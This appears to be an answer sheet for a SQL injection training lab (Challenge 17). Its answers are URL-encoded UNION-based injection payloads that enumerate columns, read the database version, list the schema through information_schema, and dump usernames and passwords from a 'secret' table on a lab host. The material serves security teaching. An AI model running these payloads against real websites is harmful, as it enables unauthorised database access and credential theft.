
SQL Injection Labs 1 

 

By Notsosecure Ltd. in collaboration with SecurityTube Training  

 

Challenge 17 
 

http://192.168.2.7/sql3/       [level: Intermediate] 

 

 Which table(s) contain database schema?  

Information_schema.columns or syscolumns 

 Provide a URL which displays list of all tables in the back-end database along with the 

respective columns.  

Verify the number of columns: 

http://192.168.2.7/sql3/?qid=1%27%20order%20by%203-- 

Note: that 1st column is not a varchar, but the other 2 are: 

http://192.168.2.7/sql3/?qid=1%27%20union%20select%20null,%20user,%20@@version--  

http://192.168.2.7/sql3/?qid=1%27%20union%20select%20null,%20table_name,%20column

_name%20from%20information_schema.columns--  

 What are the columns within table secret?  

 

 What is the password of user Alice? (1 mark) 

http://192.168.2.7/sql3/?qid=1%27%20union%20select%20null,%20username,%20passwor

d%20from%20secret--  

 

http://88.208.239.33/sql1/
http://192.168.2.7/sql3/?qid=1%27%20order%20by%203--
http://192.168.2.7/sql3/?qid=1%27%20union%20select%20null,%20user,%20@@version--
http://192.168.2.7/sql3/?qid=1%27%20union%20select%20null,%20table_name,%20column_name%20from%20information_schema.columns--
http://192.168.2.7/sql3/?qid=1%27%20union%20select%20null,%20table_name,%20column_name%20from%20information_schema.columns--
http://192.168.2.7/sql3/?qid=1%27%20union%20select%20null,%20username,%20password%20from%20secret--
http://192.168.2.7/sql3/?qid=1%27%20union%20select%20null,%20username,%20password%20from%20secret--

